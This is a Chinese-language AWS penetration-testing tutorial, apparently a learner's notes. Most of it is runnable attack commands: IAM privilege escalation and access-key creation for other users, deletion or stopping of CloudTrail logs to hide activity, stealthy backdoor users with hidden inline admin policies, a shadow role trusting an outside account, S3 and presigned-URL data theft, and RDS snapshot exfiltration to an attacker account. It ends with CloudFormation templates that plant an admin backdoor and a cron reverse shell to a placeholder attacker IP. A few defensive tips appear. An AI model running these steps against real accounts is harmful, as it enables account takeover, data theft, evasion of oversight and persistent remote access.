这里比较好理解，就是当我们通过一种方法获得了目标的用户权限，注意并不是角色权限，角色只有短期的key，用户才拥有长期的key，然后生成一个新密钥就行。

环境搭建

创建一个具有iam:CreateAccessKey权限的用户就行，后面再删了。

这里就不细放了，总之创建一个用户，啥都没有就行，就给他一个名字，然后去内联策略。

就可以了。

接着创建一个密钥。

然后一直下一步就OK了。接下来写入AWSCLI的配置当中。

1

aws configure

可以了，开始复现。

复现验证

1
2


aws iam create-access-key --user-name <target-user>
aws iam create-access-key --user-name test

仅此而已，如果还要加点什么的话，下面的两个命令可以确认你搜索的账户是否存在create-access-key权限。

1
2


aws iam list-attached-user-policies --user-name <target-user>
aws iam list-user-policies --user-name <target-user>

看到这些命令可能会有点好奇，这个命令后面<target-user>不是一个变量吗，是否能生成别人的密钥呢，答案是可以的。但是需要如下权限。

iam:CreateAccessKey + iam:UpdateUser

有这两个权限想指定谁就指定谁，甚至AWS允许 iam:UpdateUser，你甚至可以修改别人密码。

1

aws iam update-login-profile --user-name admin --password "NewSuperSecurePassword" --password-reset-required

可以试试管理员权限的账户能不能给我们刚刚生成的test账户重新生成一个密钥。

没有问题，管理员一如既往的强大。

补充部分

这里补充持久化，当你生成了一个key，肯定会被日志记录的，这里把他删了就能持久化了。当然这需要有 cloudtrail 权限。

AWS CloudTrail 记录 iam:CreateAccessKey 事件，建议在攻击后删除 CloudTrail 日志：

1

aws cloudtrail delete-trail --name default-trail

关闭 CloudTrail（更隐蔽，但风险更高）：

1

aws cloudtrail stop-logging --name default-trail

创建多个 Access Key（一个用户最多可以有 2 个 Access Key）：

1

aws iam create-access-key --user-name <target-user>

创建隐藏用户（如果有 iam:CreateUser 权限）：

1
2


aws iam create-user --user-name backdoor-user
aws iam create-access-key --user-name backdoor-user

赋予新 Access Key 更高权限：

1

aws iam attach-user-policy --user-name <target-user> --policy-arn arn:aws:iam::aws:policy/Admin

IAM 渗透补充

按照大纲来看四个主要部分已经学习完了，但其实还有一部分IAM权限的渗透，这里作为补充并不难，不需要搭建环境，上面四个如果掌握了，实际上下面这些记住命令就能理解原理。

`iam:CreateUser`（创建新 IAM 用户）

概念

作用：允许创建新的 IAM 用户，可用于 持久化后门。
风险：攻击者可以创建一个新的管理员账户，即使管理员删除了其他凭据，攻击者仍然可以访问 AWS。

创建一个新的 IAM 用户

1

aws iam create-user --user-name backdoor-user

返回示例：

1
2
3
4
5
6
7
8
9


{
 "User": {
 "Path": "/",
 "UserName": "backdoor-user",
 "UserId": "AIDAEXAMPLE",
 "Arn": "arn:aws:iam::123456789012:user/backdoor-user",
 "CreateDate": "2025-03-06T12:34:56Z"
 }
}

(2) 给新用户创建 Access Key

1

aws iam create-access-key --user-name backdoor-user

1
2
3
4
5
6
7
8
9


{
 "AccessKey": {
 "UserName": "backdoor-user",
 "AccessKeyId": "AKIAEXAMPLE",
 "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
 "Status": "Active",
 "CreateDate": "2025-03-06T12:34:56Z"
 }
}

(3) 绑定高权限角色（如果 iam:PassRole也有权限）

1

aws iam attach-user-policy --user-name backdoor-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

(4) 使用新的 Access Key 登录 AWS

1
2


aws configure set aws_access_key_id AKIAEXAMPLE
aws configure set aws_secret_access_key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

然后测试权限：

1

aws sts get-caller-identity

如果返回：

1
2
3
4
5


{
 "UserId": "AIDAEXAMPLE",
 "Account": "123456789012",
 "Arn": "arn:aws:iam::123456789012:user/backdoor-user"
}

`iam:AttachUserPolicy`（给低权限用户绑定高权限策略）

概念

作用：允许给现有的 IAM 用户 绑定新的权限策略，比如让一个低权限用户变成管理员。
风险：攻击者可以找到一个已有的 IAM 用户，并偷偷给他绑定 AdministratorAccess，然后用这个账户执行高权限操作。

(1) 查看当前 AWS 账户的所有用户

1

aws iam list-users

返回示例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


{
 "Users": [
 {
 "UserName": "developer",
 "Arn": "arn:aws:iam::123456789012:user/developer"
 },
 {
 "UserName": "test-user",
 "Arn": "arn:aws:iam::123456789012:user/test-user"
 }
 ]
}

(2) 给 developer绑定 AdministratorAccess

1

aws iam attach-user-policy --user-name developer --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

(3) 验证 developer是否获得了高权限

1

aws iam list-attached-user-policies --user-name developer

1
2
3
4
5
6
7
8


{
 "AttachedPolicies": [
 {
 "PolicyName": "AdministratorAccess",
 "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
 }
 ]
}

现在 developer 已经是管理员了。

简单总结一下这两部分的权限：创建用户属于持久化，赋予权限属于提权的部分，仔细看可以看到两部分是有重复的，其实很好理解，重点讨论一下 iam:AttachUserPolicy ，如果存在这个权限是否能给任何角色任何用户提权呢，答案是要看具体配置，感兴趣可以去内联策略试试看，这里放一个非限制的策略(什么托管策略都能附上)和一个限制的策略(仅仅只能附限定的策略)

可滥用策略

1
2
3
4
5
6
7
8


{
 "Effect": "Allow",
 "Action": [
 "iam:CreateUser",
 "iam:AttachUserPolicy"
 ],
 "Resource": "*"
}

受限制策略

1
2
3
4
5


{
 "Effect": "Allow",
 "Action": "iam:AttachUserPolicy",
 "Resource": "arn:aws:iam::aws:policy/ReadOnlyAccess"
}

IAM 渗透总结后记

至此大部分的IAM渗透已经学习实操完了，在这一节中耗费了非常多的时间，虽然只有6个策略，但是这里涉及了很多架构原理，需要理解很久，而且并不单单一个策略的问题，需要对他们之间的交互有一个深刻的理解，总体来看还是挺有意思的，就是太复杂了，而复杂的原因是因为架构做的太好了，环环相扣。

存储服务(S3)攻击面

S3存储桶枚举

S3 存储桶的访问控制

在 AWS S3 中，存储桶的访问权限由 两种主要机制 控制：

S3 存储桶策略 (Bucket Policy)：

决定哪些用户或账户可以访问存储桶 (s3:ListBucket、s3:GetObject)。
可能包含 "Principal": "*"，导致存储桶对所有人开放。

访问控制列表 (ACL)：

旧版权限管理方式，允许特定 AWS 账户或匿名用户访问存储桶或对象。
READ 权限可以允许外部用户列目录 (ListBucket)。
WRITE 权限可以允许攻击者上传恶意文件。

📌 漏洞点：

存储桶策略错误：如果 Principal: * 且 Action: "s3:ListBucket"，攻击者可以列出所有文件。
ACL 误配置：如果 READ 权限对 Everyone 开放，攻击者可以读取文件。

S3 存储桶枚举方法

没有那么多的环境搭建，原理非常简单，就是它允许你没有验证就可以操控S3存储桶，至于能操控到什么地步，取决于他给的错误权限有哪些，看看实操就知道了。

这里有两种方法，工具探测 和 手动验证

手动验证

(1) 测试存储桶是否可被列目录 (s3:ListBucket)

1

aws s3 ls s3://bucket-name --no-sign-request

解释：

--no-sign-request：用于匿名访问（不使用 AWS 凭据）。
如果命令成功，说明存储桶允许 s3:ListBucket，你可以看到存储桶内的所有文件：

1
2


2024-03-06 12:00:00 450K secrets.txt
2024-03-06 12:01:00 2.3M backup.zip

(2) 测试是否可以下载文件 (s3:GetObject)

1

aws s3 cp s3://bucket-name/secrets.txt . --no-sign-request

解释：

如果能成功下载，说明该存储桶允许匿名用户读取文件 (s3:GetObject)。

(3) 使用 curl测试 S3 存储桶是否开放

AWS S3 对象存储的 URL 格式通常如下：

1

https://bucket-name.s3.amazonaws.com/file.txt

你可以直接用 curl测试：

1

curl -I https://bucket-name.s3.amazonaws.com/secrets.txt

📌返回结果解析：

200 OK：文件可以被匿名访问。
403 Forbidden：需要身份验证，无法直接访问。
404 Not Found：文件不存在，或者存储桶本身是私有的。

工具探测

(1) 使用 s3scanner进行存储桶扫描

s3scanner 是一个专门用于探测 S3 存储桶是否开放的工具。

1
2
3


git clone https://github.com/sa7mon/S3Scanner.git
cd S3Scanner
pip3 install -r requirements.txt

扫描某个存储桶是否公开

1

python3 s3scanner.py bucket-name

扫描多个存储桶

1

python3 s3scanner.py -l bucket-list.txt

常见结果解释：

[+] Public Read：任何人都可以读取存储桶。
[+] Public Write：任何人都可以写入存储桶（可以上传文件）。
[+] Public List：任何人都可以列出存储桶中的文件。

(2) 使用 bucket-stream进行实时存储桶发现

bucket-stream 通过监听 公共日志流，实时发现可能的 AWS 存储桶名称。

1
2
3


git clone https://github.com/eth0izzle/bucket-stream.git
cd bucket-stream
python3 bucket-stream.py

这个工具的作用：

监听 AWS 访问日志，提取可能的存储桶名称。
适用于 找到新的 AWS 资产（比如某公司有存储桶被暴露）。

存储桶策略绕过

这一节主要是对上一个枚举的补充，枚举只是告诉了可以干什么，这个是原理介绍。

存储桶策略错误：跨账户访问漏洞

S3 存储桶策略通常使用 "Principal" 字段来指定谁可以访问存储桶。如果 "Principal": "*"，表示任何人都可以访问该存储桶，可能导致数据泄露。

错误策略示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


{
 "Version": "2012-10-17",
 "Statement": [
 {
 "Effect": "Allow",
 "Principal": "*",
 "Action": ["s3:ListBucket", "s3:GetObject"],
 "Resource": "arn:aws:s3:::vulnerable-bucket/*"
 }
 ]
}

任何人都可以读取存储桶数据！由此引出了上一节的东西，为什么我们能列出下载上传文件到存储桶。

(1) 测试是否能列出存储桶内容

1

aws s3 ls s3://vulnerable-bucket --no-sign-request

如果返回文件列表，说明该存储桶的 s3:ListBucket权限错误开放！

(2) 测试是否可以下载文件

1

aws s3 cp s3://vulnerable-bucket/secrets.txt . --no-sign-request

如果能成功下载，说明 s3:GetObject权限错误开放！

(3) 测试是否可以上传文件

如果 s3:PutObject 也被开放，攻击者可以上传恶意文件：

1
2


echo "Malicious File" > malware.txt
aws s3 cp malware.txt s3://vulnerable-bucket/malware.txt --no-sign-request

如果能上传，说明该存储桶也开放了写入权限！

预签名 URL 劫持

AWS 允许创建 预签名 URL，它是一个临时授权 URL，可以让用户访问 S3 存储桶的对象，即使存储桶本身是私有的。

预签名 URL 示例

1

aws s3 presign s3://private-bucket/secret.txt

这个命令会生成一个 URL，允许短时间内访问 secret.txt。
该 URL 可能会像这样：

1

https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credent

攻击方式

如果攻击者能获取到这个 预签名 URL（比如通过日志、浏览器控制台、代码泄露等），即使 S3 存储桶是私有的，攻击者也可以下载文件！

(1) 发现预签名 URL

在 Web 应用前端代码中查找：

使用浏览器 F12 开发者工具，搜索 "s3.amazonaws.com"

在日志文件中查找

1

grep -i "amazonaws.com" /var/log/*.log

在 Git 代码中查找

1

git grep "s3.amazonaws.com"

(2) 测试是否能访问文件

1

curl -I "https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=..."

如果返回 200 OK，说明预签名 URL 仍然有效，攻击者可以下载文件：

1

curl -o stolen-secret.txt "https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=..."

这两个利用的前提都是配置错误，需要攻击者将他们找出来，原理都比较简单很好理解。

数据泄露与持久化

S3 敏感文件下载

目标：

不仅仅是枚举存储桶，而是精准定位敏感文件（数据库备份、配置文件、日志等）。
即使存储桶本身受限，某些文件 ACL 配置错误，也可以直接下载！

典型的敏感文件类型：

backup.zip / db-dump.sql（数据库备份）
config.json / .env（API 密钥 & 配置文件）
access.log / debug.log（日志文件，可能包含 AWS 密钥）

测试能否下载某个已知敏感文件

1

aws s3 cp s3://target-bucket/backup.zip . --no-sign-request

如果文件可下载 ：说明 backup.zip 这个文件的 ACL 配置错误。
如果返回 403 Forbidden ：说明 s3:GetObject 被禁止。

使用 s3scanner自动扫描敏感文件

安装 s3scanner

1
2
3


git clone https://github.com/sa7mon/S3Scanner.git
cd S3Scanner
pip3 install -r requirements.txt

📌 使用 s3scanner扫描存储桶中的敏感文件

1

python3 s3scanner.py --bucket target-bucket --wordlist sensitive-files.txt

wordlist.txt 可能包含：

1
2
3
4
5
6


backup.zip
config.json
.env
db-dump.sql
access.log
error.log

爆破出200就说明可以被下载，和上一个虽然有点相似，但是逻辑不一样，其实就是爆破。

RDS 数据库快照窃取

利用 AWS RDS 误配置，创建数据库快照（Snapshot），并共享到攻击者账户，从而获取数据库数据。

Amazon RDS（Relational Database Service）支持 创建快照（Snapshot），用于备份和恢复数据库。

RDS 快照可以被共享（modify-db-snapshot-attribute），如果配置错误，攻击者可以窃取数据库数据。
即使没有 RDS 直接访问权限，攻击者仍然可以通过 快照共享漏洞 窃取数据库。

1. 检查是否可以创建 RDS 快照

如果攻击者获得了某个 AWS 账户的访问权限，他可以尝试创建 RDS 快照：

1

aws rds create-db-snapshot --db-instance-identifier victim-db --db-snapshot-identifier stolen-snapshot

解释：

--db-instance-identifier victim-db：目标 RDS 实例。
--db-snapshot-identifier stolen-snapshot：创建快照 stolen-snapshot。

如果命令执行成功，说明： 当前身份有 rds:CreateDBSnapshot权限，可以创建快照。

2. 查看当前账户的 RDS 快照

如果攻击者无法创建快照，他可以尝试查找现有快照：

1

aws rds describe-db-snapshots

示例返回：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


{
 "DBSnapshots": [
 {
 "DBSnapshotIdentifier": "prod-db-snapshot",
 "DBInstanceIdentifier": "victim-db",
 "Status": "available",
 "SnapshotCreateTime": "2024-03-06T12:00:00Z"
 }
 ]
}

如果发现快照存在，攻击者可以尝试共享它！

3. 共享快照到攻击者账户

如果快照策略错误，攻击者可以将其共享到自己的 AWS 账户：

1
2
3
4
5
6


aws rds modify-db-snapshot-attribute \
 --db-snapshot-identifier prod-db-snapshot \
 --attribute-name restore \
 --values-to-add 攻击者AWS账户ID

aws rds modify-db-snapshot-attribute --db-snapshot-identifier prod-db-snapshot --attribute-name restore --values-to-add 攻击者AWS账户ID

解释：

--db-snapshot-identifier prod-db-snapshot：要共享的快照。
--attribute-name restore：修改快照的 “restore” 属性，允许其他账户恢复该快照。
--values-to-add：添加攻击者的 AWS 账户 ID，使其可以访问该快照。

如果命令成功，攻击者就能在自己的 AWS 账户中访问该快照！

4. 在攻击者账户中恢复 RDS

攻击者登录自己的 AWS 账户，并恢复该快照：

1
2
3


aws rds restore-db-instance-from-db-snapshot \
 --db-instance-identifier stolen-db \
 --db-snapshot-identifier prod-db-snapshot

如果成功，攻击者现在拥有该数据库的完整副本！

5. 复制 RDS去除加密(较为复杂)

第四步不是可以在攻击者账户中恢复RDS吗，前提是这个快照没有加密才能直接恢复，如果加密了就没有办法移到攻击者账户了，并且复制的时候默认也是加密的，不能靠复制的时候给他的加密置空，但是我们可以新建一个KMS密钥然后在复制阶段的时候替换原先的加密，这样KMS密钥是可控的。

创建一个新的 KMS 密钥

如果你没有合适的 KMS 密钥，你需要手动创建一个新的：

1

aws kms create-key --description "My RDS Key"

然后获取 KeyId：

1

aws kms list-keys

1
2
3
4
5
6
7


{
 "Keys": [
 {
 "KeyId": "abcd1234-5678-efgh-ijkl-9876543210mn"
 }
 ]
}

复制快照并使用新 KMS 密钥

需要使用新创建的 KMS 密钥来复制快照：

1
2
3
4
5
6


aws rds copy-db-snapshot \
 --source-db-snapshot-identifier database-1-snapshot \
 --target-db-snapshot-identifier new-snapshot \
 --kms-key-id abcd1234-5678-efgh-ijkl-9876543210mn

aws rds copy-db-snapshot --source-db-snapshot-identifier database-1-snapshot --target-db-snapshot-identifier new-snapshot --kms-key-id abcd1234-5678-efgh-ijkl-9876543210mn

这样，new-snapshot仍然是加密的，但它使用的是你可控的 KMS 密钥！

允许目标账户访问这个 KMS 密钥

需要允许目标 AWS 账户访问这个 KMS 密钥：

1
2
3
4
5
6


aws kms create-grant \
 --key-id abcd1234-5678-efgh-ijkl-9876543210mn \
 --grantee-principal arn:aws:iam::650*******:root \
 --operations Decrypt

aws kms create-grant --key-id abcd1234-5678-efgh-ijkl-9876543210mn --grantee-principal arn:aws:iam::650*******:root --operations Decrypt

这样，650 这个账户才能解密 new-snapshot！

共享新快照

1
2
3
4
5
6


aws rds modify-db-snapshot-attribute \
 --db-snapshot-identifier new-snapshot \
 --attribute-name restore \
 --values-to-add 6502*******

aws rds modify-db-snapshot-attribute --db-snapshot-identifier new-snapshot1 --attribute-name restore --values-to-add 6502*******

最后一步有点复杂，尝试实操看看。如下

一般来说1-4就行了，第五步是在目标加密非常严格的情况下可以这样用，比较麻烦，一般1-4步已经能传递给攻击者了，不用多此一举，这也是为什么我放到了第五步，如果因为加密而无法共享的情况下可以加上第五步。

后门用户创建（隐蔽后门技术）

在 AWS 账户中创建一个隐蔽的后门用户，以便持久化访问，即使管理员发现异常登录后删除了常规 IAM 账户，攻击者仍然能够继续控制 AWS 账户。

后门用户创建操作

1. 创建一个隐蔽的 IAM 用户

1

aws iam create-user --user-name support-user

策略：

使用 AWS 官方命名风格（如 aws-support, backup-user），减少管理员注意。
隐藏在已有用户列表中，避免被管理员察觉。

2. 为该用户创建访问密钥

1

aws iam create-access-key --user-name support-user

输出示例：

1
2
3
4
5
6
7
8


{
 "AccessKey": {
 "UserName": "support-user",
 "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
 "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
 "Status": "Active"
 }
}

访问密钥可以用于 AWS CLI/API 调用，即使管理员删除了用户登录权限，仍然可以远程访问！

3. 赋予用户隐蔽的管理员权限

如果攻击者直接附加 AdministratorAccess，很容易被发现：

1
2
3


aws iam attach-user-policy \
 --user-name support-user \
 --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

绕过检测的方法：使用内联策略！

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


aws iam put-user-policy \
 --user-name support-user \
 --policy-name HiddenAdminPolicy \
 --policy-document '{
 "Version": "2012-10-17",
 "Statement": [
 {
 "Effect": "Allow",
 "Action": "*",
 "Resource": "*"
 }
 ]
 }'

aws iam put-user-policy --user-name support-user --policy-name HiddenAdminPolicy --policy-document "{\"Version\": \"2012-10-17\",\"Statement\": [{\"Effect\": \"Allow\",\"Action\": \"*\",\"Resource\": \"*\"}]}"

隐藏管理权限（不直接附加 AdministratorAccess）

区别：

attach-user-policy 绑定的策略可以通过 list-attached-user-policies 直接查看，容易被发现：

1

aws iam list-attached-user-policies --user-name support-user

而 put-user-policy创建的是内联策略，默认不会显示在 list-attached-user-policies中！

1

aws iam list-user-policies --user-name support-user

只有深入检查 get-user-policy 才能发现：

1

aws iam get-user-policy --user-name support-user --policy-name HiddenAdminPolicy

这样，管理员即使运行 list-attached-user-policies，也看不到权限异常。

4. 进一步隐藏用户

管理员通常会定期检查活跃 IAM 用户，攻击者可以使用 iam:UpdateLoginProfile 禁用用户的密码登录，使其变成一个“无害”的 API 账户(如果报错说明本来就没有登陆权限不用禁用)：

1

aws iam update-login-profile --user-name support-user --password-reset-required

效果：

这个用户 无法通过 AWS 控制台登录，但 仍然可以通过 API/CLI 使用访问密钥控制 AWS 账户！
如果管理员只检查 Web 登录用户，他可能不会注意到这个“后门用户”仍然存在！

影子账户技术

上一个针对的是用户，这里针对的是IAM角色。

影子账户（Shadow User） 是一种 更隐蔽的后门技术，它的关键点在于：

创建一个不会被 list-users查到的 IAM 用户
利用 AWS 资源的信任关系，让攻击者可以以该账户的身份访问 AWS

影子账户创建思路

创建 IAM 角色，并允许某个外部账户访问它

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


aws iam create-role --role-name backup-support-role --assume-role-policy-document '{
 "Version": "2012-10-17",
 "Statement": [
 {
 "Effect": "Allow",
 "Principal": {
 "AWS": "65025******"
 },
 "Action": "sts:AssumeRole"
 }
 ]
}'

aws iam put-role-policy --role-name backup-support-role --policy-name ShadowUserMinimal --policy-document '{
 "Version": "2012-10-17",
 "Statement": [
 {
 "Effect": "Allow",
 "Action": [
 "iam:CreateUser",
 "iam:CreateAccessKey",
 "iam:ListUsers",
 "iam:GetUser",
 "iam:ListAttachedUserPolicies",
 "iam:ListUserPolicies",
 "iam:GetUserPolicy",
 "iam:AttachUserPolicy",
 "iam:PutUserPolicy",
 "s3:ListAllMyBuckets",
 "s3:ListBucket",
 "s3:GetObject"
 ],
 "Resource": "*"
 }
 ]
}'

aws iam create-role --role-name backup-support-role --assume-role-policy-document "{\"Version\": \"2012-10-17\",\"Statement\": [{\"Effect\": \"Allow\",\"Principal\":{ \"AWS\": \"65025******\"},\"Action\": \"sts:AssumeRole\" }]}"
aws iam put-role-policy --role-name backup-support-role --policy-name ShadowUserMinimal --policy-document "{ \"Version\": \"2012-10-17\", \"Statement\": [ { \"Effect\": \"Allow\", \"Action\": [ \"iam:CreateUser\", \"iam:CreateAccessKey\", \"iam:ListUsers\", \"iam:GetUser\", \"iam:ListAttachedUserPolicies\", \"iam:ListUserPolicies\", \"iam:GetUserPolicy\", \"iam:AttachUserPolicy\", \"iam:PutUserPolicy\", \"s3:ListAllMyBuckets\", \"s3:ListBucket\", \"s3:GetObject\" ], \"Resource\": \"*\" } ] }"

效果：

65025账户可以随时通过 sts:AssumeRole访问这个角色，而且管理员不会在 list-users 里看到这个后门！
管理员即使删除了攻击者创建的 IAM 用户，攻击者仍然可以使用 AssumeRole访问 AWS！

还是挺有意思的。

实际上就是创建一个高权限的IAM角色，然后信任外部的AWSID，这样外部的那个账户就可以随时随地的获得这个角色的凭据了。

高级攻击手法

AWS CLI 凭证泄露

目标：学习 AWS CLI 凭证的存储方式、常见的泄露途径，以及如何利用已泄露的 AWS 访问凭证来控制 AWS 账户。

AWS CLI 凭证存储位置

AWS CLI 的访问凭证默认存储在用户主目录的 ~/.aws/credentials 和 ~/.aws/config 文件中：

1

cat ~/.aws/credentials

Windows 路径：

1

type C:\Users\你的用户名\.aws\credentials

示例内容：

1
2
3


[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

如果攻击者可以访问这个文件，就能完全控制 AWS 账户！

AWS CLI 凭证泄露的常见途径

1. 代码泄露

开发人员经常将 AWS 凭证硬编码到代码中：

1
2
3
4
5
6


import boto3

aws_access_key_id = "AKIAIOSFODNN7EXAMPLE"
aws_secret_access_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

s3 = boto3.client("s3", aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key)

如果代码上传到 GitHub 或其他代码仓库，攻击者可以通过 GitHub Dorking 发现 AWS 凭证！

1

github.com search: "aws_access_key_id filetype:env"

解决方案：

使用 AWS IAM 角色，不直接暴露 Access Key。
配置 GitHub 秘密扫描（Secret Scanning） 以检测 AWS 密钥泄露。

2. 日志泄露

AWS 密钥可能意外出现在日志文件中，例如：

1

cat /var/log/syslog | grep "aws_access_key_id"

防御措施：

禁止在日志中输出敏感信息。
使用 AWS Secrets Manager 代替明文密钥。

3. 终端历史记录

如果开发人员在终端直接执行 AWS CLI 命令：

1
2


aws configure set aws_access_key_id AKIAIOSFODNN7EXAMPLE
aws configure set aws_secret_access_key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

攻击者可以从 history 获取 AWS 密钥：

1

history | grep aws

防御措施：

运行 history -c 清除历史记录。
使用 export AWS_ACCESS_KEY_ID 代替 aws configure，避免凭证存入配置文件。

4. 环境变量泄露

某些服务器可能将 AWS 访问凭证存储在环境变量中：

1
2


echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY

如果攻击者能够访问服务器的 Shell，他可以轻松窃取 AWS 凭证！

防御措施：

使用 IAM 角色，而不是存储静态密钥。
配置 AWS_SESSION_TOKEN 使凭证短期有效，减少长期泄露风险。

5. AWS 元数据服务（IMDS）攻击

在 EC2 服务器上，AWS 会将 IAM 角色的凭证存储在 IMDS（元数据服务）中：

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

攻击方法：

在受害者 EC2 服务器上执行：

1
2


curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>

获取访问密钥：

1
2
3
4
5


{
 "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
 "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
 "Token": "FQoGZXIvYXdzEBIaDE5QTkFERV9TRVJWSUNFE..."
}

防御措施：

启用 IMDSv2，防止 SSRF 攻击：

1

aws ec2 modify-instance-metadata-options --instance-id i-xxxxxxxxxx --http-tokens required

禁止无权限用户访问 169.254.169.254

1

iptables -A OUTPUT -d 169.254.169.254 -j DROP

AWS CLI 凭证泄露后利用

检查凭证是否有效

如果你获取了一个 AWS 访问密钥，第一步是检查它是否有效：

1

aws sts get-caller-identity --access-key AKIAIOSFODNN7EXAMPLE --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

如果凭证有效，返回类似信息：

1
2
3
4
5


{
 "UserId": "AIDAJQABLZS4A3QDU576Q",
 "Account": "650251703094",
 "Arn": "arn:aws:iam::650251703094:user/victim-user"
}

你现在知道这个 AWS 账户 ID 和用户名了！

获取 AWS 账户的权限

1
2


aws iam list-attached-user-policies --user-name victim-user
aws iam list-user-policies --user-name victim-user

如果有高权限策略，你可以执行管理员级操作！

提权到管理员

如果凭证权限受限，你可以尝试利用 iam:PassRole或 sts:AssumeRole：

1

aws sts assume-role --role-arn arn:aws:iam::650251703094:role/AdminRole --role-session-name AdminSession

如果 sts:AssumeRole成功，你可以获得管理员权限！

持久化后门

1
2
3


aws iam create-user --user-name attacker-user
aws iam create-access-key --user-name attacker-user
aws iam attach-user-policy --user-name attacker-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

即使原始凭证被撤销，你仍然可以通过 attacker-user继续访问 AWS！

AWS CLI 凭证泄露总结

上面这些东西都是常见的，所以没有做太多解释，一般都能理解看懂，大部分是linux方面的基础，还有一部分都是之前学过的。

CloudFormation 恶意模板

这个在基础的时候没有学习过，刚好了解一下。

目标：利用 AWS CloudFormation 部署恶意模板，在受害者 AWS 账户中创建后门用户、修改现有 IAM 权限，甚至执行远程代码。

AWS CloudFormation 允许用户通过 YAML/JSON 模板xxxx自动创建和管理 AWS 资源，比如：

创建 IAM 角色、S3 存储桶、EC2 实例等。
自动配置 VPC、Lambda 函数、DynamoDB 等。

攻击者可以滥用 CloudFormation 部署恶意 AWS 资源，绕过传统权限检查！

这个东西危害很大，而且稍微有点复杂了，这里直接起一行解释一下，如果一个角色/用户拥有CloudFormation的全部权限，他就等于拥有了创建/修改 AWS 任何资源的权限，他能够掌控整个AWS环境，CloudFormation跟Lambda有点相似，仅仅是相似，都是通过上传一些东西来操控AWS资源，只不过CloudFormation上传的是模板，而且和Lambda不一样，Lambda是根据绑定角色的权限来确认能否调用AWS资源，而CloudFormation他的模板可以直接调用AWS资源包括EC2、Lambda、IAM、S3等等都是可以的，举个例子都知道调用IAM是可以创建用户/角色的，还可以赋权，但是相应的本身的权限也要高才行，这个就不用，你仅仅有CloudFormation它本身的权限就行了，就能创建一个管理员权限的IAM角色/用户，还能直接信任其他AWS账户，大概就是这样的一个逻辑。

下面针对其中几个服务构造模板，这里会用构造好了的就行，暂时先不学怎么写，后续跟Lambda一起学。

CloudFormation 恶意模板的攻击方式 ↓

1. 创建隐藏的 IAM 后门用户

攻击者可以利用 CloudFormation 创建一个隐蔽的 IAM 用户，并附加管理员权限：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


AWSTemplateFormatVersion: '2010-09-09'
Resources:
 BackdoorUser:
 Type: AWS::IAM::User
 Properties:
 UserName: "aws-support-bot"
 BackdoorAccessKey:
 Type: AWS::IAM::AccessKey
 Properties:
 UserName: !Ref BackdoorUser
 BackdoorPolicy:
 Type: AWS::IAM::Policy
 Properties:
 PolicyName: "HiddenAdminPolicy"
 Users:
 - !Ref BackdoorUser
 PolicyDocument:
 Version: '2012-10-17'
 Statement:
 - Effect: Allow
 Action: "*"
 Resource: "*"

Outputs:
 AccessKey:
 Value: !Ref BackdoorAccessKey
 Description: "IAM Access Key"
 SecretKey:
 Value: !GetAtt BackdoorAccessKey.SecretAccessKey
 Description: "IAM Secret Key"

执行方式

1

aws cloudformation create-stack --stack-name BackdoorStack --template-body file://backdoor.yaml --capabilities CAPABILITY_NAMED_IAM

效果

创建 aws-support-bot用户（看起来像 AWS 官方服务用户）。
分配访问密钥，攻击者可直接使用 aws_access_key_id登录 AWS CLI。
绑定管理员策略 *:*，拥有最高权限！

那么问题来了，密钥呢？其实在上面的代码里面写好了，会存到Output中，刚好解决了没有回显而无法获得密钥的问题。

这一个例子就足够获得所有权限了，第三个模板IAM角色也能拿到所有权限，主要说一下下面的那条，就是第二条。

2. 在 EC2 `UserData` 里注入反向 Shell

攻击者可以利用 CloudFormation 在 EC2 实例启动时执行恶意命令，比如通过 UserData字段获取反向 Shell：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


AWSTemplateFormatVersion: '2010-09-09'
Resources:
 MaliciousEC2:
 Type: AWS::EC2::Instance
 Properties:
 ImageId: "ami-12345678"
 InstanceType: "t2.micro"
 UserData:
 Fn::Base64: |
 #!/bin/bash
 echo "*/2 * * * * root bash -i >& /dev/tcp/攻击者IP/端口 0>&1" >> /etc/crontab
 systemctl restart cron

执行方式

1

aws cloudformation create-stack --stack-name EC2Backdoor --template-body file://malicious-ec2.yaml

效果

CloudFormation 部署 EC2 实例，并在 UserData里执行反向 Shell。
EC2 启动后，会自动连接到攻击者的服务器，形成远程持久化访问。

